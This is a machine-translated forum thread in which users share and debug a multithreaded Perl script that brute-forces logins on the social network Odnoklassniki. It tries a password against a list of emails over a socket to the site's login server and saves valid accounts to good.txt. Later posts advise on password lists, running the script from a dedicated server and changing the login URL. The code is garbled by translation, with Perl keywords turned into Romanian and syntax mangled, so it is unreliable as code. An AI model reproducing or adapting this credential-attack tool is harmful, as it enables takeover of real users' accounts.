# 3 # Dimchik_3D! / Usr / bin / perl -w
utilizați IO :: Socket;
utilizați fire;
folosesc fire :: comune;
$ Fire = shift || 5; # Numărul de fire
$ Pass = shift || 'Qwerty'; #pwd
$ Fname = 'good.txt'; # Valid
$ Ml = shift || 'Emails.txt'; # Listă de săpunuri
@acc mea. în comun;
$ I mea. în comun;
totalul meu $. în comun;
$ | = 1;
imprima "Încărcarea \ n.";
deschis (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc ();
$ @acc Size = scalar;
$ = Timpul;
$ Start = localtime;
Print "Loaded:", dimensiunea $, "email-uri \ n.";
printf "A început la $ începe \ n";
Sub Brut
în timp ce (@acc)
<
mi $ ciorap = nou IO :: Socket :: INET
(
PeerAddr => 'w17.odnoklassniki.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) Sau mor „Nu se poate conecta \ n“;
imprimare $ ciorap $ re;
sysread ($ șosetă, $ Rasp mea, 400);
$ Timp de timp = $ de timp;
$ End = localtime;
printf "terminat la $ sfârșit \ n";
printf "Timpul scurs: $ timp de sec \ n";
printf "Găsit: $ totală \ n";
imprima "|";
$ Procent = sprintf ( "% 2f.", $ Percent);
de imprimare "<$percent%>\ R „;
imprima "\ r";
>
# 4 MyP3uk Acest aparat este personalizat pentru tine si acest lucru. 17: 58: 260
# 5 $ Dimchik_3D ml = shift || 'Emails.txt'; # Listă de spălat și cum știu că săpunul cine rupe? Și dacă el a avut un săpun))
Și apoi asta pentru ce?
(
PeerAddr => 'w17.odnoklassniki.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) Sau mor „Nu se poate conecta \ n“; 18: 01: 210
# 6 Red_Shuhov Murzik vă mulțumesc, și apoi scrie vpadlu
PS: o listă de nume de utilizator și trece mai bine pus la rădăcina unității C
că este, o linie ar trebui să fie astfel: PSS: Și cum crezi că eV la colegii de clasă, fără săpun. 18: 03: 460
# 9 Dimchik_3D Red_Shuhov ca cercetând subiect)) Acum, încercați-vă lomanut 18: 08: 190
# 11 Dimchik_3D Ei bine, eu stau acolo fără săpun, de obicei, cu telefoane mobile 18: 09: 460
# 12 Dimchik_3D nici măcar nu a funcționat, rulați-l și toate margnet 18: 13: 240
# 14 Dimchik_3D nu funcționează ((((om, puteți începe la 18 și regulamente pentru a face :. 16: 020
# 15 MyP3uk Facepalm. 18: 18: 050
# 16 Red_Shuhov am ajutat cât am putut, chiar dacă am totul de lucru.
# 17 Dimchik_3D vă și mulțumesc-l 18: 23: 200
# 18 MyP3uk Și tu, probabil, nu cred că aveți un interpret prezent)))
Și este mai bine pentru a pune totul pe un server dedicat, sfatul meu pentru tine. 18: 30: 320
# 19 Dimchik_3D MyP3uk pe detalii posibil. M-am înscris, și nu totul este bine toate înțeleg 18: 32: 420
# 20 Dimchik_3D Nu, nu se rupe. Loading plecat, scrie 10.78% după 23.63%, etc. Dar nimic nu apare good.txt. Am parola și datele de autentificare, printre pass.txt în emeils.txt 18: 46: 420
# 21 MyP3uk Ei bine, ultimul argument - scenariul ar deveni caduce, ca socialist. să păstreze în mod regulat modernizarea sistemului de securitate a rețelei. 18: 58: 220
# 22 Dimchik_3D Ei bine, dacă înlocuiți link-ul de intrare? în cazul în care jurnalele și parola sunt scrise în 19: 39: 310